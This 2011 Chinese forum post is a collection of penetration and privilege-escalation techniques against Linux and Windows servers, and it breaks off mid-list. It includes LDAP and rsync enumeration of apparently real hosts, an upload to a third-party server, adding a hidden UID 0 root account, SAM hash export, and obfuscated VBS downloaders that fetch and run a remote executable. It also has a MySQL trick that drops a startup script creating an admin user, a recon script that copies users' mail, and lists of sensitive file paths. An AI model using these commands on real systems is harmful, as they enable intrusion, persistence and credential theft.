oma 发表于 2011-12-20 09:47

各种提权 渗透 经验 技巧总结大全(下)

<DIV><FONT size=2>liunx 相关提权渗透技巧总结,一、ldap 渗透技巧:<BR><BR>1.cat /etc/nsswitch<BR>看看密码登录策略我们可以看到使用了file ldap模式<BR><BR>2.less /etc/ldap.conf<BR>base ou=People,dc=unix-center,dc=net<BR>找到ou,dc,dc设置<BR><BR>3.查找管理员信息<BR><BR>匿名方式<BR>ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2<BR><BR>有密码形式<BR>ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2<BR><BR>4.查找10条用户记录<BR>ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口<BR><BR>实战:<BR>1.cat /etc/nsswitch<BR>看看密码登录策略我们可以看到使用了file ldap模式<BR><BR>2.less /etc/ldap.conf<BR>base ou=People,dc=unix-center,dc=net<BR>找到ou,dc,dc设置<BR><BR>3.查找管理员信息<BR><BR>匿名方式<BR>ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2<BR><BR>有密码形式<BR>ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2<BR><BR>4.查找10条用户记录<BR>ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口<BR><BR>渗透实战:<BR>1.返回所有的属性<BR>ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"<BR>version: 1<BR>dn: dc=ruc,dc=edu,dc=cn<BR>dc: ruc<BR>objectClass: domain<BR><BR>dn: uid=manager,dc=ruc,dc=edu,dc=cn<BR>uid: manager<BR>objectClass: inetOrgPerson<BR>objectClass: organizationalPerson<BR>objectClass: person<BR>objectClass: top<BR>sn: manager<BR>cn: manager<BR><BR>dn: uid=superadmin,dc=ruc,dc=edu,dc=cn<BR>uid: superadmin<BR>objectClass: inetOrgPerson<BR>objectClass: organizationalPerson<BR>objectClass: person<BR>objectClass: top<BR>sn: superadmin<BR>cn: superadmin<BR><BR>dn: uid=admin,dc=ruc,dc=edu,dc=cn<BR>uid: admin<BR>objectClass: inetOrgPerson<BR>objectClass: organizationalPerson<BR>objectClass: person<BR>objectClass: top<BR>sn: admin<BR>cn: admin<BR><BR>dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn<BR>uid: dcp_anonymous<BR>objectClass: top<BR>objectClass: person<BR>objectClass: organizationalPerson<BR>objectClass: inetOrgPerson<BR>sn: dcp_anonymous<BR>cn: dcp_anonymous<BR><BR>2.查看基类<BR>bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |<BR><BR>more<BR>version: 1<BR>dn: dc=ruc,dc=edu,dc=cn<BR>dc: ruc<BR>objectClass: domain<BR><BR>3.查找<BR>bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"<BR>version: 1<BR>dn:<BR>objectClass: top<BR>namingContexts: dc=ruc,dc=edu,dc=cn<BR>supportedExtension: 2.16.840.1.113730.3.5.7<BR>supportedExtension: 2.16.840.1.113730.3.5.8<BR>supportedExtension: 1.3.6.1.4.1.4203.1.11.1<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25<BR>supportedExtension: 2.16.840.1.113730.3.5.3<BR>supportedExtension: 2.16.840.1.113730.3.5.5<BR>supportedExtension: 2.16.840.1.113730.3.5.6<BR>supportedExtension: 2.16.840.1.113730.3.5.4<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22<BR>supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24<BR>supportedExtension: 1.3.6.1.4.1.1466.20037<BR>supportedExtension: 1.3.6.1.4.1.4203.1.11.3<BR>supportedControl: 2.16.840.1.113730.3.4.2<BR>supportedControl: 2.16.840.1.113730.3.4.3<BR>supportedControl: 2.16.840.1.113730.3.4.4<BR>supportedControl: 2.16.840.1.113730.3.4.5<BR>supportedControl: 1.2.840.113556.1.4.473<BR>supportedControl: 2.16.840.1.113730.3.4.9<BR>supportedControl: 2.16.840.1.113730.3.4.16<BR>supportedControl: 2.16.840.1.113730.3.4.15<BR>supportedControl: 2.16.840.1.113730.3.4.17<BR>supportedControl: 2.16.840.1.113730.3.4.19<BR>supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2<BR>supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6<BR>supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8<BR>supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1<BR>supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1<BR>supportedControl: 2.16.840.1.113730.3.4.14<BR>supportedControl: 1.3.6.1.4.1.1466.29539.12<BR>supportedControl: 2.16.840.1.113730.3.4.12<BR>supportedControl: 2.16.840.1.113730.3.4.18<BR>supportedControl: 2.16.840.1.113730.3.4.13<BR>supportedSASLMechanisms: EXTERNAL<BR>supportedSASLMechanisms: DIGEST-MD5<BR>supportedLDAPVersion: 2<BR>supportedLDAPVersion: 3<BR>vendorName: Sun Microsystems, Inc.<BR>vendorVersion: Sun-Java(tm)-System-Directory/6.2<BR>dataversion: 020090516011411<BR>netscapemdsuffix: cn=ldap://dc=webA:389<BR>supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA<BR>supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA<BR>supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA<BR>supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA<BR>supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA<BR>supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA<BR>supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA<BR>supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA<BR>supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA<BR>supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA<BR>supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA<BR>supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA<BR>supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA<BR>supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA<BR>supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA<BR>supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA<BR>supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA<BR>supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA<BR>supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5<BR>supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA<BR>supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA<BR>supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA<BR>supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA<BR>supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA<BR>supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA<BR>supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA<BR>supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA<BR>supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA<BR>supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA<BR>supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA<BR>supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA<BR>supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA<BR>supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA<BR>supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA<BR>supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA<BR>supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5<BR>supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5<BR>supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA<BR>supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA<BR>supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA<BR>supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA<BR>supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA<BR>supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5<BR>supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5<BR>supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5<BR>supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5<BR>supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5<BR>supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5<BR>supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5<BR><BR><BR><BR><BR><BR>liunx 相关提权渗透技巧总结,二、NFS 渗透技巧:<BR><BR>列举IP:showmount -e ip<BR><BR><BR><BR><BR><BR>liunx 相关提权渗透技巧总结,三、rsync渗透技巧:<BR><BR>1.查看rsync服务器上的列表:<BR><BR>rsync 210.51.X.X::<BR>finance<BR>img_finance<BR>auto<BR>img_auto<BR>html_cms<BR>img_cms<BR>ent_cms<BR>ent_img<BR>ceshi<BR>res_img<BR>res_img_c2<BR>chip<BR>chip_c2<BR>ent_icms<BR>games<BR>gamesimg<BR>media<BR>mediaimg<BR>fashion<BR>res-fashion<BR>res-fo<BR>taobao-home<BR>res-taobao-home<BR>house<BR>res-house<BR>res-home<BR>res-edu<BR>res-ent<BR>res-labs<BR>res-news<BR>res-phtv<BR>res-media<BR>home<BR>edu<BR>news<BR>res-book<BR><BR>看相应的下级目录(注意一定要在目录后面添加上/)<BR><BR>rsync 210.51.X.X::htdocs_app/<BR>rsync 210.51.X.X::auto/<BR>rsync 210.51.X.X::edu/<BR><BR>2.下载rsync服务器上的配置文件<BR>rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/<BR><BR>3.向上更新rsync文件(成功上传,不会覆盖)<BR>rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/<BR></FONT><A href="http://app.finance.xxx.com/warn/nothack.txt" target=_blank><FONT color=#0000ff size=2>http://app.finance.xxx.com/warn/nothack.txt</FONT></A><BR><BR><BR><BR><BR><BR><FONT size=2>liunx 相关提权渗透技巧总结,四、squid渗透技巧:<BR><BR>nc -vv baidu.com 80<BR>GET </FONT><A href="HTTP://www.sina.com" target=_blank><FONT color=#0000ff size=2>HTTP://www.sina.com</FONT></A><FONT size=2> / HTTP/1.0<BR>GET </FONT><A href="HTTP://WWW.sina.com:22" target=_blank><FONT color=#0000ff size=2>HTTP://WWW.sina.com:22</FONT></A><FONT size=2> / HTTP/1.0<BR><BR><BR><BR><BR><BR>liunx 相关提权渗透技巧总结,五、SSH端口转发:<BR><BR>ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip<BR><BR><BR><BR><BR><BR>liunx 相关提权渗透技巧总结,六、joomla渗透小技巧:<BR><BR>确定版本:<BR><BR>index.php?option=com_content&amp;view=article&amp;id=30:what-languages-are-supported-by-joomla-15&amp;catid=32:languages&amp;Itemid=47<BR><BR>重新设置密码:<BR><BR>index.php?option=com_user&amp;view=reset&amp;layout=confirm<BR><BR><BR><BR><BR><BR>liunx 相关提权渗透技巧总结,七、Linux添加UID为0的root用户:<BR><BR>useradd -o -u 0 nothack<BR><BR><BR><BR><BR><BR>liunx 相关提权渗透技巧总结,八、freebsd本地提权:<BR><BR>$ uname -rsi<BR>* freebsd 7.3-RELEASE GENERIC<BR>* $ sysctl vfs.usermount<BR>* vfs.usermount: 1<BR>* $ id<BR>* uid=1001(argp) gid=1001(argp) groups=1001(argp)<BR>* $ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex<BR>* $ ./nfs_mount_ex<BR>*<BR>calling nmount()<BR><BR><BR><BR><BR><BR>tar 文件夹打包:<BR><BR>1、tar打包:<BR><BR>tar -cvf /home/public_html/*.tar /home/public_html/--exclude=排除文件*.gif 排除目录 /xx/xx/*<BR>alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar<BR>{<BR>注:<BR>关于tar的打包方式,linux不以扩展名来决定文件类型。<BR>若压缩的话tar -ztf *.tar.gz 查看压缩包里内容 tar -zxf *.tar.gz 解压<BR>那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif 排除目录 /xx/xx/*<BR>} <BR><BR>提权先执行systeminfo<BR>token 漏洞补丁号 KB956572<BR>Churrasco kb952004<BR>命令行RAR打包~~·<BR>rar a -k -r -s -m3 c:\1.rar c:\folder<BR><BR><BR><BR><BR><BR>收集系统信息的脚本:<BR><BR>for window:<BR><BR>@echo off<BR>echo #########system info collection<BR>systeminfo<BR>ver<BR>hostname<BR>net user<BR>net localgroup<BR>net localgroup administrators<BR>net user guest<BR>net user administrator<BR><BR>echo #######at- with atq#####<BR>echo schtask /query<BR><BR>echo<BR>echo ####task-list#############<BR>tasklist /svc<BR>echo<BR>echo ####net-work infomation<BR>ipconfig/all<BR>route print<BR>arp -a<BR>netstat -anipconfig /displaydns<BR>echo<BR>echo #######service############<BR>sc query type= service state= all<BR>echo #######file-##############<BR>cd \<BR>tree -F<BR>for linux:<BR><BR>#!/bin/bash<BR><BR>echo #######geting sysinfo####<BR>echo ######usage: ./getinfo.sh &gt;/tmp/sysinfo.txt<BR>echo #######basic infomation##<BR>cat /proc/meminfo<BR>echo<BR>cat /proc/cpuinfo<BR>echo<BR>rpm -qa 2&gt;/dev/null<BR>######stole the mail......######<BR>cp -a /var/mail /tmp/getmail 2&gt;/dev/null<BR><BR><BR>echo 'u'r id is' `id`<BR>echo ###atq&amp;crontab#####<BR>atq<BR>crontab -l<BR>echo #####about var#####<BR>set<BR><BR>echo #####about network###<BR>####this is then point in pentest,but i am a new bird,so u need to add some in it<BR>cat /etc/hosts<BR>hostname<BR>ipconfig -a<BR>arp -v<BR>echo ########user####<BR>cat /etc/passwd|grep -i sh<BR><BR>echo ######service####<BR>chkconfig --list<BR><BR>for i in {oracle,mysql,tomcat,samba,apache,ftp}<BR>cat /etc/passwd|grep -i $i<BR>done<BR><BR>locate passwd &gt;/tmp/password 2&gt;/dev/null<BR>sleep 5<BR>locate password &gt;&gt;/tmp/password 2&gt;/dev/null<BR>sleep 5<BR>locate conf &gt;/tmp/sysconfig 2&gt;dev/null<BR>sleep 5<BR>locate config &gt;&gt;/tmp/sysconfig 2&gt;/dev/null<BR>sleep 5<BR><BR>###maybe can use "tree /"###<BR>echo ##packing up#########<BR>tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig<BR>rm -rf /tmp/getmail /tmp/password /tmp/sysconfig<BR><BR><BR><BR><BR><BR>ethash 不免杀怎么获取本机 hash:<BR><BR>首先导出注册表:<BR><BR>Windows 2000:regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"<BR><BR>Windows 2003:reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg<BR><BR>注意权限问题,一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问(界面登录的需要注意,system权限可以忽略)。<BR><BR>接下来就简单了,把导出的注册表,down 到本机,修改注册表头导入本机,然后用抓去hash的工具抓本地用户就OK了<BR>hash 抓完了记得把自己的账户密码改过来哦! <BR><BR>当 GetHashes 获取不到 hash 时,可以用冰刃把 sam 复制到桌面。据我所知,某人是用这个方法虚拟机多次因为不知道密码而进不去!~<BR><BR><BR><BR><BR><BR>vbs 下载者:<BR><BR>1:<BR>echo Set sGet = createObject("ADODB.Stream") &gt;&gt;c:\windows\cftmon.vbs<BR>echo sGet.Mode = 3 &gt;&gt;c:\windows\cftmon.vbs<BR>echo sGet.Type = 1 &gt;&gt;c:\windows\cftmon.vbs<BR>echo sGet.Open() &gt;&gt;c:\windows\cftmon.vbs<BR>echo sGet.Write(xPost.responseBody) &gt;&gt;c:\windows\cftmon.vbs<BR>echo sGet.SaveToFile "c:\windows\e.exe",2 &gt;&gt;c:\windows\cftmon.vbs<BR>echo Set objShell = CreateObject("Wscript.Shell") &gt;&gt;c:\windows\cftmon.vbs<BR>echo objshell.run """c:\windows\e.exe""" &gt;&gt;c:\windows\cftmon.vbs<BR>cftmon.vbs<BR><BR>2:<BR>On Error Resume Next:Dim iRemote,iLocal,s1,s2<BR>iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0)) <BR>s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"<BR>Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()<BR>Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()<BR>sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2<BR><BR>cscript c:\down.vbs </FONT><A href="http://xxxx/mm.exe" target=_blank><FONT color=#0000ff size=2>http://xxxx/mm.exe</FONT></A><FONT size=2> c:\mm.exe<BR><BR><BR><BR><BR><BR>create table a (cmd text):<BR><BR>insert into a values ("set wshshell=createobject (""wscript.shell"")");<BR>insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");<BR>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)"); <BR>select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";<BR><BR><BR><BR><BR><BR>Cmd 下目录的操作技巧:<BR><BR>列出d的所有目录:<BR>for /d %i in (d:\freehost\*) do @echo %i<BR><BR>把当前路径下文件夹的名字只有1-3个字母的显示出来:<BR>for /d %i in (???) do @echo %i<BR><BR>以当前目录为搜索路径,把当前目录与下面的子目录的全部EXE文件列出:<BR>for /r %i in (*.exe) do @echo %i<BR><BR>以指定目录为搜索路径,把当前目录与下面的子目录的所有文件列出:<BR>for /r "f:\freehost\hmadesign\web\" %i in (*.*) do @echo %i<BR><BR>这个会显示a.txt里面的内容,因为/f的作用,会读出a.txt中:<BR>for /f %i in (c:\1.txt) do echo %i <BR><BR>delims=后的空格是分隔符,tokens是取第几个位置:<BR>for /f "tokens=2 delims= " %i in (a.txt) do echo %i<BR><BR><BR><BR><BR><BR>Linux 系统下的一些常见路径:<BR><BR>/etc/passwd<BR>/etc/shadow<BR>/etc/fstab<BR>/etc/host.conf<BR>/etc/motd<BR>/etc/ld.so.conf<BR>/var/www/htdocs/index.php<BR>/var/www/conf/httpd.conf<BR>/var/www/htdocs/index.html<BR>/var/httpd/conf/php.ini<BR>/var/httpd/htdocs/index.php<BR>/var/httpd/conf/httpd.conf<BR>/var/httpd/htdocs/index.html<BR>/var/httpd/conf/php.ini<BR>/var/www/index.html<BR>/var/www/index.php<BR>/opt/www/conf/httpd.conf<BR>/opt/www/htdocs/index.php<BR>/opt/www/htdocs/index.html<BR>/usr/local/apache/htdocs/index.html<BR>/usr/local/apache/htdocs/index.php<BR>/usr/local/apache2/htdocs/index.html<BR>/usr/local/apache2/htdocs/index.php<BR>/usr/local/httpd2.2/htdocs/index.php<BR>/usr/local/httpd2.2/htdocs/index.html<BR>/tmp/apache/htdocs/index.html<BR>/tmp/apache/htdocs/index.php<BR>/etc/httpd/htdocs/index.php<BR>/etc/httpd/conf/httpd.conf<BR>/etc/httpd/htdocs/index.html<BR>/www/php/php.ini<BR>/www/php4/php.ini<BR>/www/php5/php.ini<BR>/www/conf/httpd.conf<BR>/www/htdocs/index.php<BR>/www/htdocs/index.html<BR>/usr/local/httpd/conf/httpd.conf<BR>/apache/apache/conf/httpd.conf<BR>/apache/apache2/conf/httpd.conf<BR>/etc/apache/apache.conf<BR>/etc/apache2/apache.conf<BR>/etc/apache/httpd.conf<BR>/etc/apache2/httpd.conf<BR>/etc/apache2/vhosts.d/00_default_vhost.conf<BR>/etc/apache2/sites-available/default<BR>/etc/phpmyadmin/config.inc.php<BR>/etc/mysql/my.cnf<BR>/etc/httpd/conf.d/php.conf<BR>/etc/httpd/conf.d/httpd.conf<BR>/etc/httpd/logs/error_log<BR>/etc/httpd/logs/error.log<BR>/etc/httpd/logs/access_log<BR>/etc/httpd/logs/access.log<BR>/home/apache/conf/httpd.conf<BR>/home/apache2/conf/httpd.conf<BR>/var/log/apache/error_log<BR>/var/log/apache/error.log<BR>/var/log/apache/access_log<BR>/var/log/apache/access.log<BR>/var/log/apache2/error_log<BR>/var/log/apache2/error.log<BR>/var/log/apache2/access_log<BR>/var/log/apache2/access.log<BR>/var/www/logs/error_log<BR>/var/www/logs/error.log<BR>/var/www/logs/access_log<BR>/var/www/logs/access.log<BR>/usr/local/apache/logs/error_log<BR>/usr/local/apache/logs/error.log<BR>/usr/local/apache/logs/access_log<BR>/usr/local/apache/logs/access.log<BR>/var/log/error_log<BR>/var/log/error.log<BR>/var/log/access_log<BR>/var/log/access.log<BR>/usr/local/apache/logs/access_logaccess_log.old<BR>/usr/local/apache/logs/error_logerror_log.old<BR>/etc/php.ini<BR>/bin/php.ini<BR>/etc/init.d/httpd<BR>/etc/init.d/mysql<BR>/etc/httpd/php.ini<BR>/usr/lib/php.ini<BR>/usr/lib/php/php.ini<BR>/usr/local/etc/php.ini<BR>/usr/local/lib/php.ini<BR>/usr/local/php/lib/php.ini<BR>/usr/local/php4/lib/php.ini<BR>/usr/local/php4/php.ini<BR>/usr/local/php4/lib/php.ini<BR>/usr/local/php5/lib/php.ini<BR>/usr/local/php5/etc/php.ini<BR>/usr/local/php5/php5.ini<BR>/usr/local/apache/conf/php.ini<BR>/usr/local/apache/conf/httpd.conf<BR>/usr/local/apache2/conf/httpd.conf<BR>/usr/local/apache2/conf/php.ini<BR>/etc/php4.4/fcgi/php.ini<BR>/etc/php4/apache/php.ini<BR>/etc/php4/apache2/php.ini<BR>/etc/php5/apache/php.ini<BR>/etc/php5/apache2/php.ini<BR>/etc/php/php.ini<BR>/etc/php/php4/php.ini<BR>/etc/php/apache/php.ini<BR>/etc/php/apache2/php.ini<BR>/web/conf/php.ini<BR>/usr/local/Zend/etc/php.ini<BR>/opt/xampp/etc/php.ini<BR>/var/local/www/conf/php.ini<BR>/var/local/www/conf/httpd.conf<BR>/etc/php/cgi/php.ini<BR>/etc/php4/cgi/php.ini<BR>/etc/php5/cgi/php.ini<BR>/php5/php.ini<BR>/php4/php.ini<BR>/php/php.ini<BR>/PHP/php.ini<BR>/apache/php/php.ini<BR>/xampp/apache/bin/php.ini<BR>/xampp/apache/conf/httpd.conf<BR>/NetServer/bin/stable/apache/php.ini<BR>/home2/bin/stable/apache/php.ini<BR>/home/bin/stable/apache/php.ini<BR>/var/log/mysql/mysql-bin.log<BR>/var/log/mysql.log<BR>/var/log/mysqlderror.log<BR>/var/log/mysql/mysql.log<BR>/var/log/mysql/mysql-slow.log<BR>/var/mysql.log<BR>/var/lib/mysql/my.cnf<BR>/usr/local/mysql/my.cnf<BR>/usr/local/mysql/bin/mysql<BR>/etc/mysql/my.cnf<BR>/etc/my.cnf<BR>/usr/local/cpanel/logs<BR>/usr/local/cpanel/logs/stats_log<BR>/usr/local/cpanel/logs/access_log<BR>/usr/local/cpanel/logs/error_log<BR>/usr/local/cpanel/logs/license_log<BR>/usr/local/cpanel/logs/login_log<BR>/usr/local/cpanel/logs/stats_log<BR>/usr/local/share/examples/php4/php.ini<BR>/usr/local/share/examples/php/php.ini<BR>/usr/local/tomcat5527/bin/version.sh<BR>/usr/share/tomcat6/bin/startup.sh<BR>/usr/tomcat6/bin/startup.sh<BR><BR><BR><BR><BR><BR>Windows 系统下的一些常见路径(可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘):<BR><BR>c:\windows\php.ini<BR>c:\boot.ini<BR>c:\1.txt<BR>c:\a.txt<BR><BR>c:\CMailServer\config.ini<BR>c:\CMailServer\CMailServer.exe<BR>c:\CMailServer\WebMail\index.asp<BR>c:\program files\CMailServer\CMailServer.exe<BR>c:\program files\CMailServer\WebMail\index.asp<BR>C:\WinWebMail\SysInfo.ini<BR>C:\WinWebMail\Web\default.asp<BR>C:\WINDOWS\FreeHost32.dll<BR>C:\WINDOWS\7i24iislog4.exe<BR>C:\WINDOWS\7i24tool.exe<BR><BR>c:\hzhost\databases\url.asp<BR><BR>c:\hzhost\hzclient.exe<BR>C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk<BR><BR>C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk<BR>C:\WINDOWS\web.config<BR>c:\web\index.html<BR>c:\www\index.html<BR>c:\WWWROOT\index.html<BR>c:\website\index.html<BR>c:\web\index.asp<BR>c:\www\index.asp<BR>c:\wwwsite\index.asp<BR>c:\WWWROOT\index.asp<BR>c:\web\index.php<BR>c:\www\index.php<BR>c:\WWWROOT\index.php<BR>c:\WWWsite\index.php<BR>c:\web\default.html<BR>c:\www\default.html<BR>c:\WWWROOT\default.html<BR>c:\website\default.html<BR>c:\web\default.asp<BR>c:\www\default.asp<BR>c:\wwwsite\default.asp<BR>c:\WWWROOT\default.asp<BR>c:\web\default.php<BR>c:\www\default.php<BR>c:\WWWROOT\default.php<BR>c:\WWWsite\default.php<BR>C:\Inetpub\wwwroot\pagerror.gif<BR>c:\windows\notepad.exe<BR>c:\winnt\notepad.exe<BR>C:\Program Files\Microsoft Office\OFFICE10\winword.exe<BR>C:\Program Files\Microsoft Office\OFFICE11\winword.exe<BR>C:\Program Files\Microsoft Office\OFFICE12\winword.exe<BR>C:\Program Files\Internet Explorer\IEXPLORE.EXE<BR>C:\Program Files\winrar\rar.exe<BR>C:\Program Files\360\360Safe\360safe.exe<BR>C:\Program Files\360Safe\360safe.exe<BR>C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log<BR>c:\ravbin\store.ini<BR>c:\rising.ini<BR>C:\Program Files\Rising\Rav\RsTask.xml<BR>C:\Documents and Settings\All Users\Start Menu\desktop.ini<BR>C:\Documents and Settings\Administrator\My Documents\Default.rdp<BR>C:\Documents and Settings\Administrator\Cookies\index.dat<BR>C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt<BR>C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt<BR>C:\Documents and Settings\Administrator\My Documents\1.txt<BR>C:\Documents and Settings\Administrator\桌面\1.txt<BR>C:\Documents and Settings\Administrator\My Documents\a.txt<BR>C:\Documents and Settings\Administrator\桌面\a.txt<BR>C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg<BR>E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm<BR>C:\Program Files\RhinoSoft.com\Serv-U\Version.txt<BR>C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini<BR>C:\Program Files\Symantec\SYMEVENT.INF<BR>C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe<BR>C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf<BR>C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf<BR>C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf<BR>C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm<BR>C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT<BR>C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll<BR>C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini<BR>C:\MySQL\MySQL 